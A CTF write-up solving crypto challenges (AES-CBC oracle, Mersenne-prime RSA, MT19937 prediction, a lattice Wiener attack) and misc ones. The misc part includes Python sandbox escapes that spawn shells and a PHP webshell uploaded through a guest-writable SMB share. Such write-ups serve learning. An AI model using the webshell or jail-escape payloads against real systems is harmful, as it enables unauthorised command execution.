# TSC{d0_4_L1feTim3_0f_crypTogr4phy_w1th_yOu}

AES Encryption Oracle

#!/usr/bin/env python3
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.backends import default_backend
import os

def aes_cbc_encrypt(msg: bytes, key: bytes) -> bytes:
    """
    Encrypts a message using AES in CBC mode.
    
    Parameters:
        msg (bytes): The plaintext message to encrypt.
        key (bytes): The encryption key (must be 16, 24, or 32 bytes long).
    
    Returns:
        bytes: The initialization vector (IV) concatenated with the encrypted ciphertext.
    """
    if len(key) not in {16, 24, 32}:
        raise ValueError("Key must be 16, 24, or 32 bytes long.")

    # Generate a random Initialization Vector (IV)
    iv = os.urandom(16)

    # Pad the message to be a multiple of the block size (16 bytes for AES)
    padder = padding.PKCS7(algorithms.AES.block_size).padder()
    padded_msg = padder.update(msg) + padder.finalize()

    # Create the AES cipher in CBC mode
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    encryptor = cipher.encryptor()

    # Encrypt the padded message
    ciphertext = encryptor.update(padded_msg) + encryptor.finalize()

    # Return IV concatenated with ciphertext
    return iv + ciphertext


def aes_cbc_decrypt(encrypted_msg: bytes, key: bytes) -> bytes:
    """
    Decrypts a message encrypted using AES in CBC mode.
    
    Parameters:
        encrypted_msg (bytes): The encrypted message (IV + ciphertext).
        key (bytes): The decryption key (must be 16, 24, or 32 bytes long).
    
    Returns:
        bytes: The original plaintext message.
    """
    if len(key) not in {16, 24, 32}:
        raise ValueError("Key must be 16, 24, or 32 bytes long.")
    
    # Extract the IV (first 16 bytes) and ciphertext (remaining bytes)
    iv = encrypted_msg[:16]
    ciphertext = encrypted_msg[16:]
    
    # Create the AES cipher in CBC mode
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    decryptor = cipher.decryptor()
    
    # Decrypt the ciphertext
    padded_msg = decryptor.update(ciphertext) + decryptor.finalize()
    
    # Remove padding from the decrypted message
    unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
    msg = unpadder.update(padded_msg) + unpadder.finalize()
    
    return msg


def main():
    with open("/home/kon/image-small.jpeg", "rb") as f:
        image = f.read()
    
    key = os.urandom(16)
    encrypted_image = aes_cbc_encrypt(image, key)

    k0n = int(input("What do you want to know? "))
    print(f'{key = }')
    print(f'{encrypted_image[k0n:k0n+32] = }')

if __name__ == "__main__":
    main()

In this challenge, you are given an oracle that encrypts a flag image using AES-CBC, and you can choose any two blocks to return along with the key. So, just use the previous block as the iv and the next block as the ciphertext to decrypt one block of plaintext.

Write a script to recover the jpeg:

from pwn import *
import ast
from Crypto.Cipher import AES

context.log_level = "error"


def oracle(i):
    io = remote("172.31.2.2", 36363)
    io.sendline(str(i).encode())
    io.recvuntil(b"key = ")
    key = ast.literal_eval(io.recvlineS())
    io.recvuntil(b"encrypted_image[k0n:k0n+32] = ")
    enc = ast.literal_eval(io.recvlineS())
    io.close()
    return key, enc


def get_pt_block(i):
    key, enc = oracle(i * 16)
    if not enc:
        return None
    aes = AES.new(key, AES.MODE_CBC, enc[:16])
    return aes.decrypt(enc[16:])


with open("pt.jpg", "wb") as f:
    i = 0
    while True:
        print(i)
        pt_block = get_pt_block(i)
        if not pt_block:
            break
        f.write(pt_block)
        i += 1

Recovered flag image

Flag: TSC{f0x_Say_Gering-dingKon-kon-kon}

Random Strange Algorithm

import secrets
import os
from Crypto.Util.number import bytes_to_long, isPrime


def genPrime():
    while True:
        x = secrets.randbelow(1000000)
        if isPrime(2**x - 1):
            return x


p = genPrime()
q = genPrime()

M = (1 << p + q) - 1
flag = os.getenv("FLAG") or "FLAG{test_flag}"
flag = bytes_to_long(flag.encode())
e = 65537


def weird(x, e, p, q, M):
    res = 1
    strange = lambda x, y: x + (y << p) + (y << q) - y
    for b in reversed(bin(e)[2:]):
        if b == "1":
            res = res * x
            res = strange(res & M, res >> (p + q))
            res = strange(res & M, res >> (p + q))
            res = strange(res & M, res >> (p + q))
        x = x * x
        x = strange(x & M, x >> (p + q))
        x = strange(x & M, x >> (p + q))
        x = strange(x & M, x >> (p + q))
    return res


ct = weird(flag, e, p, q, M)

print(f"Cipher: {hex(ct)}")

The weird algorithm seems to be doing something strange with RSA, but p,qp,q are both Mersenne primes, and I guessed the flag isn’t long, so I directly enumerated all Mersenne primes within the range.

import itertools, gmpy2
from Crypto.Util.number import long_to_bytes
from tqdm import tqdm

ct = 0x27225c567dfd854ba84614f9e8266db9f326af279aa18afbdb1f601a097ddbf5a203c836d4d0430c59f6d6be6ccfe7f4deca9a4011bc514d92e1aaa1c792cd24127a24b205a2c0a28af24edee1692d04a23aa8653581fe8e3c922878aaeb1c1f495cf08c129bae8ec039d1dc8c39564bdfdcefee42c42f5843c63aeff373613cc133076356241a9b06e45c367b84083e0edf21608f08f5d50563502438746355c1fe7c2f5a470b6857aabc04cc1f6b136e1f79bc2c41419b13ff845d485d380e2b110c2bd2e873e2c07d75d3e9cf1cd6b5634c67e98f11fe7a269e10af713dbb4f587443a630fe1dea2f406793213ce117828b0572dc4d3f06dcce3722bef0d0e8c2aced34d353e9ffe3d0f75a3e0ac195e73888d601c4dde936a573c28aaf6750ea0ad53fdc715c4df547279fdaeb68251ba4bb68f4aa7c0b49241e3e6fc58daae1c4dceb7ba0ef06d3fdec2bfa432ea1a5299d3dd104dd05b10be33303a5fea87cb6fc5d2f0e7daafe1b8f5c50066da68318b510bfd93e2abbadfc86b258bd82f2f53396abfc92a2f71dfd88bfd23b31013844d744d9788bbeb3cb425acfad0f6e868ed84a3152f82cbfc2f8386f059091cab29b9e64cbcc7d9ae672d1801b2dd4521253cffc4a21d476d00c8ac08495118df4ebff044f99e0ee8a56bcb43b3975d7794ff022850031fc0ab7a0b7cc1fe9894a739a7928eb7736910c748548ded36772dc2c6e81fd863af09473ec9e74b12bdddc9141bf46d226c67ce8efc9b02bc7ca3f067336032a7fafe93430fc2006cef8745864868430bcedee25244ba05621e7c2a72cdf524455f650766bc42d15662948ea9d5176c0796a0651a8faeff0ff276c7f65fc1784adeffc03899469192b691db929666509541cc770c487eef20195e704ff63bf1a6c18f20a0a19599cc54113223de37860c2cffbdfb7357da87b28f7bf8b416071196c354331138eb47aa11910c9756c5affa80b97111dddb6d147fe0c30bbfa2ee86cbb36129eef5e543f150023070cf650151e38bbee3a05963ff1cf26a2d42731b6c4487bad5e67eda74b3e9110f4e7df74e5e2819ef80b7f70b33ac3060ca18176e9f48e95d333c4fe5c2ae355a9661de75494fda5ef2d93d4404cf906969fe3ba7f589b263e61cc538986206cdd4177b7898ff5a016c2baccb5d00d78fdc462beaf989bfedbbc70ccaf85489cd1352ff32d0e213bb9cb23e7840eccd020e34ba441a40df86ea128e9f0215b32ab90dd9756afe87f40758676fff71c517895cd3b0f6f35a6f675634dfb1994945105b0276e9b0bbaf15d49824ad20c9865a4608ab0ea3093a32b7e40131010e25f9a939620a6ea43000fb2cd0a75eefd1e01da402f11bde242cb794c135a94db04123b2f874b9eda525f9c1932250084b4b4f096595d4f829691df2908ec625a16695e111083dd4d13665bc8baedaf159100b5c3bb6b9d2450471f5006a99165745c825c4a44b1c1de75a7fa23fca0183d59c3150c8aa6bd787aafcb40d17b053ef8ff7dd9fd1c03e9a60e2d0418bec88773fdd9ff3917f584496cebedaca5ab6c674c7a294bebba764b681c333559acf97bef89290a66cf7249cac824cc43558cf777fe1283d134159747e174a2c6c65a8f4c1ec6ae656465ee52ddab9d56e0b30bf29157ef86b72c3fb836a10df8f0c98fb2cbd7debecb98172eab7475491b7b6aa8fcf1d89f1275bbe5226897d42ea5913d8634ac1a2a5a8211ae3a0627ff53f423dc789e2323a2ef0f9b90f47370a8ef86664dfdb08ae01e3a2c3ea68a5b12cc197207b5c6df451d6e109ac00082b4be5295819b3341429b32653b2cd2d5547dfcb4970c3caa687a1ec2bf50d4db5b2cc2967fb7b3fb47eaa84094b6a73b29162baddd07f045de495006f714b9538bfafab29ba9705b8d5ccb3458ebaaf87078e8b16bb2390b0cedc3a65a08122d6834758d8053e519b479a4b4818fd3d6f9dd52e9e7f1ece3237f58d07399d44692c08e2c50c8632a40592a148492a0c475cb33579b48b6fbe5441fde23ed89b0686f69cced80bed326cda230de3a1c8777422038662cd052bf7f8bd021b8e4f885941957bcfc32d3c9da028068c30c5b19c3cffa9a1a044cd23d01cab79c149e3ac0d77ce6694a41cd0b404be056ad35cc31cf4051d6d855e73ddc4c0aeef5c6075af182e3f05503f73ea25874f430d3a13ee2b291be56a510aa8a6505868c7467f1a43a0b84817c841f1ff7a8af8872cc977f55f7add6d8411fa35f93edd13a9eabb688762e74be5a98e02806248f8be03c72ff4d1074f06ef2e77b9159b6db5db8158212d614c8a024ff51871fd152f53b1998dddd07f65eaeea5f3ab6bbc33dce92179a4e140d7ebf0b06c412ee8b2636d90dd003721bd54c0d20bc5b071cce0a970625a28b0bf4aaf09c57fdb40bdeae24e3e20c5d0bfa0ab64fc627c6c633f93252460b8d8edcbfd6fd43a45dd1e3adc11733232686358dca0db03b23df9bde2d359695ab3e6af5ebe881c25ae5bc2be2a392551bc0f9a9c50e4b9306631f668c95479a11d267984e3cd407701d4d9b7c077804663b6b68e10030915023da5414df1905ce1e4b0ba7c4f677bcbdc89e778e7927ff4aa2a7699cc7447f433e4ba4072627f5e955735e6650cade1676410b2001cccd2d4146e0ee0671dbee364d34c4224d886e8704062c96e56f6e1e463f2f60a6267ee7e45d387b705beb765ee62898a52e6d9190f9079a2cc2c823c6a97a38750337fcb9c3b682ea60e0250c8f733ae1cd11de95a219cabe9db8e27db6ffc1af616ed7b8f27e8e748c5620291a9a850f24057fc1e0dbe6b6db49257c1c57cebed13ace5196af892ccc2b09b76f54048390bd5d06387ebddaefb2dca8b94c9d663cf2a6f4480c14f932c08667be1b7210181c4c8df0f1cea710cdb567fb2b1e126141bd1616436044f8722f81f7fe45ac67386ed806c471b782b6c288334b896803779e4b50a7280fec70e84c39303764b30f8d98d178968eae949192e1cdbbd378b186211cfd15d6e68cf9a85ea3873451d3f26ffce9d2f76e23cfca012687e17c78e214f22163f2a0b94ac7b3067b232ee7d6ab57e6991b668ad84d6602b5838a15566b5a407eea66ebd106a2fb67a367753e0bab7ffdc234a00c8ab0540f38379daa09f47c22cd3c96f2d3a13d17ddf2970aaec4f65029896fa549ba832f8bebebd2c00d895a568be4b8d093089fb0f5e9f9a4d37a7ed5ace03268b236d33ae36b8168633de6178de56a1053df6a9b1d902df020ecaed6612aba8dd03dee1ea0a00467f9dcb98cfbc742e352d6315dc479216f08765b7341a085ac313c2b8856d22cd822ba6fd1a62519ae1cfec489e678e0440a1aeacbcb917aed893c0255618569ba9c03e627d0ce7ecd33ce64e26b9ff4ed9fc3f6f87dc105f4962373d86f155b64273b4a14cad88bc07265b78ba3b8e87b7b5dde2d39349658a295295c253495004a9a6c7d8ec46414f6c74bff4179784ad19dac1f5897bb56c1716f7cc238024d1243399329843cc8cbc1ec15dc69f089c43f3c6545cd35d1d176c3bbc5c6ea5475fcc9b7411d96febbb4fef67124897a4ab311ec2f32ae590065f3e4f76b716479d9506e6a03a151ba6258e31eda4feee96d3e255c74c874e197de71156ad5b1df35ce20a60033714689bd409b1b35aafa3b3cda73d7524321c7562f7dad33e22cc9ea6cea4d3933a9ef1924ff0add9a441647bbeaa8a13e680281956abba2231ad39778c3bb92cea57b93ec063b676fc8d0ce898a1856449c1b1b16d7973ba40c5aa52edb1dc7e2332fcf61217cd02e31b0c5c787089771acb3e8c2b7715911e09cd9183e803d80c9873074026c3e4ecfe11600b2e507e159a56e0394f1b42618aaf7363523a4c8b53c497fecdc65d167bdb2c4f79ee393387e364954debe37f1a933b964af9ac3e3227a77a167f3491e61eb43a67bb7a13c6b113ebeb0784dd5e70422ca27eebc2e703fc2c7996375c9b4d4f3aa44b6ab4f8e08f6cc8263e0229a12582f2c2301d1650d2a2f1146f87a59a34178b54a58fd46ca725267bb2f4a19fbac7b53b6f6aa1d70bb46674b5879d6ed81f40f01c62634d1ba6dee627d75e4f1333e2805e00f142860193e278ec1d676cc25c3ae91237ab9209b26a304b2e65b7bb6a68fbc300d8114f14adafe8cff69d554de4d8ba4e321f94b3d90bf9feeeeadd1bbdffde39c7036c70ffc340b0f9f8d819e925ecac8feca4a6c4aa9918477e742a0d104c0972ef02082fa9365d49654b29306c131d36eccb0e393f186553e08217f69a6191b1d4017ab431e45cbb8a4511e4cd6fa183c6f7e5612bfe8c3ae2b10e97c530ae172ebcb201585b05c1aedbed2daea99026596486063b620db4a75a72ece20683abb3e53d2a067785e8fa396d0f02233bd8221d1e7620af36a5e9c98d4e3f4eaef09794dde1ecea87dd531f276da98a3112665ced8610937f1b8d6cf0dde32de980fe1ee43bf856f3fc8b34035f5345d80b2c123a4ea7b24da20a065a08e9be1b5808b18727b689cd376d620d28566e9d7f7507e1b7705bd0fccd631891f297ff44990c2b1c697e9582531025e7556824e89db58672e0bf91fe7aad4e5d6d733cace0d92a5089fff9c6e7a4a56c857934143e6296950a0dc3e3a4cfcb479c4c2f18d52d1a67aa260f421a5f657b371faffada38099edbf07b7799e2424ae24a9ad2b76bb5e75453b5b3c4270f0be1448d3fda6660d77ec8e569d6c21f532d8871b9e5d60ac6a1b80b688c6efe12678e8cedd7b3ef19658ccf13f554c92fbd37d3773e57d8fd79c9f21783495a9d534efdd8f99a6d27ea40d76d032bc8f999ece9a55f292fb80111d526d1a0a8b33f4e35ea820cd4dfc8a526ead8baad66f5b2d86404de48d97a8a4d6b7f50eccc1350a60a23a4f3d479473ed1825f373b78003080af07f99ac6ead34124a5d43cef23c2e548779993c73c7cd5e89624dfa3952251b8e86eb9d4bce88244c60b0b0765379054f532fddff5e6a4da75d38ab7f67f8bede89c812259f948e4371d82e2b838e62250475e7986e97ad9706d84a57560934d9cd566cc5fba0f4f7037554ad926e68f178323881f33aba7a6811a03f3f507b6494428f3428927bd120b73298b2f5cad421985b0af070b9fae7037ea3cef1885d3846ba8cd09cd9f43070096a249796bcdd21ca55c76816ead0692e0587d96f831f343dde19117083509e0d4f5b296674dcc0e17b669f7c2ab4b0a609d6cbed8073d1aec3ef2cee0aad9c055d54ac11d58c01ab27956b3bbd667f5bb52dc96b647fc9ee2dc47ae8e5bab66d1bbf66d21926e063a90d7438e501113e78e9506c20c0dcc517189d5f54a6b4d53bff8173adbb3c2c4017e440f05517fa56c424d03b2e8dd81537a714cb53c3ec1c8237344d3ce8a0e8f81cb5693908f0cf63001cb0f2218a53b9be92f4c1aed51ba9a224523ae765a71ad3ba687594496ec72887a8f3a6f6338fab6c14ed6c139d687f5de68f99a2b4b425774abe7ad24995d775b8ac11efbc6ef0b38f6377c969ed6e63919f510c5444347155903c72be2f82de608b3abaec12a084c7a3cf06b6be7bef4478c723b90c5b652b1a87b206a2f1405a89471a4b9a073f3204a158e20a5e3dc6c4f433360927dce3b58ca65b3c42d18bf860a977ffc469cca122c8dfd338cdaffa4d796e4ee0314f581b0683763d6b9c0cf6498fad28fd4506258023553ef4d66f7e389014ca9a0e38627910a816cd51c95ff5a269080cc08ff96fd035efd2a0c192d58e09bc3d864c165c90da82bd2e61617132b9f62861c176d11a56d335589c534cdfc7312de0da2b845a863e35293eb60341328df60fcb9927115e7f24e6fe0a2bef5bbbaf560b13d58c93a3878bc99d44b5e748692b231ad3c84187776e29905979a7470424b1df92ea82374efad63da2a1c41aaf4c1e446416eaac450f659ce12012d7a22f3c8d97848356ded7504b448a9595683f2be12fd23c4fbdaaded9a3207031077272f64428e9e202d03a2083c7e68807ac9eda25130deb4347a8c2ae36a211a8324218da4276c1b5566b0bb7bd70ccfb580bce3ee108915bc1b21ad49de03875bd0346752e8a1c6788fd829a74abf7b01a3329f9bd7a2535c312f5a48b20623646e1078b6d4f5df9c0cc0bc06d41deb208b31cbe4b49e8dcf697bc7439d00a0c87bb64be44115b440d6b0fcf38e024bc332290b4ca33d1fa097799cae6cbf297b68a87ff8ba687ef4a5dbb25e02e7f95ea2bfb34db25ccb38df96f1bb32372ff00e5f3d78c0ce5a1bde27d2af89bb11efdf4b1b11feaf8c36b3373c0867b3fecbe58150a88758873ae4ecd3df4da6549732245da3cebd152a3dbef070aacd7f0c760fc797c253f9375edee15ec7f783059818df5ec0632c10e50f8dce4fbd4ddcff61c9601a88925db83dfe1b6a4bbdf76506828a1ece4ee99c1e356b686b880aaaf1f789d0b8e1a5ef69b7c12d57161bbab80219d270ab65ce6b1d29bcc24a6bedc18ac73783a2271560ec5193b20979c2168a0da1da6a30d9f7190973ac11906de52f80db4d40b5a86c1084ad17115718b7c9327dcd1aaf266df16f0f232ed926b2d7f139c37ad527a01ef38bcb3dfae204ebafda14ecac741ef1769c2f02189c2c474cb3b9f79884a767baad126a5a14c99e2fc6a1f1c0d3c1598f5670ce19aa0d01c6a7302d4e66d28315139f9b20f474ae1a39b93bb18a479733db8bf9dd737f8a09d4146ad89850342445eee2ca3141a672047814e42b7b9bd7798d6d8d82adba9d696dce955e61815520618a1ec70a9264acd244a5d8f5170f3a0ece58351737c31a617d3e646916e503cd7b20c6decafe3a8532f6bde5e89b7b8314a73dcf9c75090331d7f56820637c2d9ace9a75d8cef4a5f45049a8d17ecddd1c1e7f2683588cf834e82044e38e571ef786c9b1ff1ab9dd40644784f2820a42a9c1ecbe155d54557bd34c2c8245fe9f6187fa97c46929dffcf2b0d49679a51a2cd069879174b7d1556c83e2aaecf0e9a7fa52af3b3f0d6dbe95474da464c065db054521f17e0cf676060acb4c64fb7f9d42ad518a27ebcbdeb9e1183ac02c182e19fe98948be6ca6b44b8936294234c0c795bebf6726bb9f6d71029b7226a7f2d920d7c6d5bad845dbd7126be045ff9f2553f617591e0aad0979e2194b4ca5d0624cbe141c4a3e36d218f58ad3675412d29917ea1e91ee05b7a52267534b2386ecfa2f9634214ae42511dadd68f75422fd87d99309f38ecb97ece0ea084d5f11c15b6059a5c161881bf421a143a8e400bb41b9c42af3943cc3308523717d2684e605c19f4f61b02b1d437f8ea2ff31c478b820c503a847c07ec5a11f84ebddb13976db04fef81ad11c1917ac48ba5dfec46f7e5ccd1743b56d837acbe81dd60fdd8e65e6d7bffa03aeb6b4c5af715dcbe48dfa54f5802627f05736521096b6755103aac95d1dbe803eb15e200180e557d5238e9a5d06a2f9d1573bc4d302739050c2da989309fa060bf31f233d118fe4673491af97c6504774db6b08d5772f718460f99b2b2fcd0b455ca4d119a42a982d22e1d0931736d26740b8bd0930d0b673300b8d602fa230ebbb56a599aaf341382072d843fb8850ba41b18ce628687388f32e896fbb01387ded3099aa1f567093f69dcd08d5822ed345453efab20c3a5ba059c19fd3c8c660776ca1ab858433e83ddd6fccca3df9ee20d1634b60a284f7497bd40f58eb2f58ffb4530cc3ad9024132ca7f45f69426f1e1cba8b8a811cf8971c94352ee445d1e37e4157b406864de23e44c2698e6be5737bc4e8dafa303e8c4b6b800fbed343b9a8867633040c0ab8c80e5ab12e22966e4125e760dfcd34d217a4703d6743d24ce97469b120d57cb3e9b19100f90dd794ccb9ee86feec5a48b08de98799d99f9e
exps = [2, 3, 5, 7, 13, 17, 19, 31, 61, 89, 107, 127, 521, 607, 1279, 2203, 2281, 3217, 4253, 4423, 9689, 9941, 11213, 19937, 21701, 23209, 44497, 86243, 110503, 132049, 216091, 756839, 859433]
ps = [gmpy2.mpz(2)**e-1 for e in exps]
e = 65537

for p in tqdm(ps):
    try:
        d = gmpy2.invert(e, p-1)
    except ZeroDivisionError:
        continue
    m = gmpy2.powmod(ct, d, p)
    flag = long_to_bytes(m)
    if flag.startswith(b"TSC{"):
        print(flag)
        break
# TSC{9y7hOn_p0vv3r_ls_700_5Io0o0o0o0o0o0o0o0o0o0w}

Random Shuffle

import random
import os

flag = os.getenv("FLAG") or "FLAG{test_flag}"


def main():
    random.seed(os.urandom(32))
    Hint = b"".join(
        [
            (random.getrandbits(32) & 0x44417A9F).to_bytes(4, byteorder="big")
            for i in range(2000)
        ]
    )
    Secret = random.randbytes(len(flag))
    print(Secret.hex(), file=__import__("sys").stderr)
    Encrypted = [(ord(x) ^ y) for x, y in zip(flag, Secret)]
    random.shuffle(Encrypted)

    print(f"Hint: {Hint.hex()}")
    print(f"Encrypted flag: {bytes(Encrypted).hex()}")


if __name__ == "__main__":
    main()

A straightforward MT19937 prediction challenge. I used my own gf2bv library to solve it instantly:

from gf2bv import LinearSystem
from gf2bv.crypto.mt import MT19937

with open("flag") as f:
    hint = bytes.fromhex(f.readline().split(": ")[1])
    enc = bytes.fromhex(f.readline().split(": ")[1])

chunks = [int.from_bytes(hint[i : i + 4], "big") for i in range(0, len(hint), 4)]

lin = LinearSystem([32] * 624)
mt = lin.gens()
rng = MT19937(mt)
zeros = []
for x in chunks:
    zeros.append((rng.getrandbits(32) & 0x44417A9F) ^ x)
sol = lin.solve_one(zeros)
rand = MT19937(sol).to_python_random()
for x in chunks:
    assert rand.getrandbits(32) & 0x44417A9F == x
secret = rand.randbytes(len(enc))
shuffle = list(range(len(enc)))
rand.shuffle(shuffle)
enc_unshuffle = [0] * len(enc)
for i, j in enumerate(shuffle):
    enc_unshuffle[j] = enc[i]
flag = bytes([x ^ y for x, y in zip(enc_unshuffle, secret)])
print(flag)
# TSC{H0w_c4n_y0u_8r54k_my_5huff15}

Random Strangeeeeee Algorithm

import os
import random
import sys
from Crypto.Util.number import getRandomNBitInteger, bytes_to_long
from gmpy2 import is_prime
from secret import FLAG


def get_prime(nbits: int):
    if nbits < 2:
        raise ValueError("'nbits' must be larger than 1.")
    
    while True:
        num = getRandomNBitInteger(nbits) | 1
        if is_prime(num):
            return num


def pad(msg: bytes, nbytes: int):
    if nbytes < (len(msg) + 1):
        raise ValueError("'nbytes' must be larger than 'len(msg) + 1'.")

    return msg + b'\0' + os.urandom(nbytes - len(msg) - 1)


def main():
    for cnt in range(4096):
        nbits_0 = 1000 + random.randint(1, 256)
        nbits_1 = 612 + random.randint(1, 256)

        p, q, r = get_prime(nbits_0), get_prime(nbits_0), get_prime(nbits_0)
        n = p * q * r
        d = get_prime(nbits_1)
        e = pow(d, -1, (p - 1) * (q - 1) * (r - 1))

        m = bytes_to_long(pad(FLAG, (n.bit_length() - 1) // 8))
        c = pow(m, e, n)

        print(f'{n, e = }')
        print(f'{c = }')
        msg = input('Do you want to refresh [Y/N] > ')
        if msg != 'Y':
            break


if __name__ == '__main__':
    try:
        main()
    except Exception:
        sys.exit()
    except KeyboardInterrupt:
        sys.exit()

Obviously, this challenge is similar to a Wiener attack, except n=pqrn=pqr involves three primes.

My method is based on the LLL version of the Wiener attack (Cryptanalysis of RSA and Its Variants 5.1.2.1):

ed=1+k(p1)(q1)(r1)=1+k(ns)ed=1+k(p-1)(q-1)(r-1)=1+k(n-s)

Since ene \approx n, dkd \approx k, and the three high-order terms of ss are p,q,rp,q,r pairwise products, sK=3n2/3s \approx K=3n^{2/3}.

Construct the following lattice:

L=[eKn0]L= \begin{bmatrix} e & K \\ n & 0 \end{bmatrix}

With [dk]L=[1ksdK]\begin{bmatrix}d & -k\end{bmatrix} L = \begin{bmatrix}1-ks & dK\end{bmatrix} as the short vector, you can obtain dd.

from sage.all import *
from pwn import process, remote
import ast
from Crypto.Util.number import long_to_bytes

# io = process(["python", "server.py"])
io = remote("172.31.2.2", 36901)
for i in range(4096):
    print("try", i)
    io.recvuntil(b"n, e = ")
    n, e = ast.literal_eval(io.recvlineS().strip())
    io.recvuntil(b"c = ")
    c = int(io.recvline().strip())
    K = ZZ(n).nth_root(3, truncate_mode=True)[0] ** 2 * 3
    _, dK = matrix([[e, K], [n, 0]]).LLL()[0]
    d = abs(dK) // K
    print(d.bit_length())
    m = pow(c, d, n)
    flag = long_to_bytes(m)
    if flag.startswith(b"TSC{"):
        print(flag)
        break
    io.sendline(b"Y")
# TSC{R3c4lcU1at3_W1eNe(_At7@Ck_!!!}

Due to the randomness of nbits_0 and nbits_1, some luck is needed.

However, there should also be a Coppersmith version of the solution for a better bound.

Misc

BabyJail

pyjail @ Python 3.12.7

#!/usr/local/bin/python3

print(eval(input('> '), {"__builtins__": {}}, {}))

Since I solved the revenge challenge first and then came back to this one, I only made a small modification to my frame-based solution:

(lambda:[a:=(lambda:(yield a.gi_frame.f_back.f_back.f_back.f_builtins)),a:=a(),b:=a.send(None),b['exec']('breakpoint()',{'__builtins__':b})])()
# TSC{just_a_classic_nobuiltins_pyjail_for_baby}

calc

#!/usr/local/bin/python3

inp = input('> ')

if sum(1 for char in inp if char in set(__import__('string').ascii_letters)):
    raise NameError("just calc no evil(ascii).")

if '[' in inp or ']' in inp:
    raise NameError("just calc no evil([]).")

print(eval(inp, {"__builtins__": {}}, {}))

Using NFKC normalization can bypass the restriction on ascii letters, and constructing a standard os.system('sh') can get a shell, with the string using octal escape.

(*().__class__.__base__.__subclasses__().__getitem__(155).close.__globals__.values(),1).__getitem__(46)('\163\150')
# TSC{PEP-3131_is_a_friendly_PEP_for_pyjai1er_nhsdcuhq6}

A_BIG_BUG

PT challenge, directly tells you there is an http & smb service. Using dirsearch on the http part found /uploads, but it only contained a README.md which was useless.

For the smb part, I found guest login with netexec, and uploads share had RW permissions:

> netexec smb 172.31.0.2 --port 30185 -u ctfuser -p '' --shares
SMB         172.31.0.2      30185  7887ADAF97CB     [*] Unix - Samba (name:7887ADAF97CB) (domain:7887ADAF97CB) (signing:False) (SMBv1:False)
SMB         172.31.0.2      30185  7887ADAF97CB     [+] 7887ADAF97CB\ctfuser: (Guest)
SMB         172.31.0.2      30185  7887ADAF97CB     [*] Enumerated shares
SMB         172.31.0.2      30185  7887ADAF97CB     Share           Permissions     Remark
SMB         172.31.0.2      30185  7887ADAF97CB     -----           -----------     ------
SMB         172.31.0.2      30185  7887ADAF97CB     uploads         READ,WRITE
SMB         172.31.0.2      30185  7887ADAF97CB     IPC$                            IPC Service (Samba 4.15.13-Ubuntu)

So, upload a webshell via smb:

> smbclient //172.31.0.2/uploads --port 30189 --no-pass --user ctfuser
put shell.php
<?php
system($_GET['cmd']);

Finally, get the flag in /tmp/flag.txt.

http://172.31.0.2:30188/uploads/shell.php?cmd=cat%20/tmp/flag.txt

Flag: TSC{YOU_got_What_is_pt_and_low_security_password_f1bc61bf51b44ac5a0365169dee186ca}

BabyJail - Revenge

#!/usr/local/bin/python3

inp = __import__("unicodedata").normalize("NFKC", input("> "))
if "__" in inp:
    raise NameError("no dunder")

if ',' in inp:
    raise NameError("no ,")

if sum(1 for c in inp if c == '(') > 2:
    raise NameError("no (")

print(eval(inp, {"__builtins__": {}}, None))

Cannot use __, so use frame to bypass, and use [a:=...]+[b:=...]+... to construct instead of ,. The first ( is used in the generator comprehension, and the second in the exec function call.

[a:=(a.gi_frame for _ in [1])]+[b:=[*a][0].f_back.f_back.f_builtins]+[b["exec"]("b['exec']\x28'breakpoint\x28\x29'\x2c{'_""_builtins_""_':b}\x29")]
# TSC{frame_switching_to_the_moooo0o0n!_tuygv2jnsvnjs}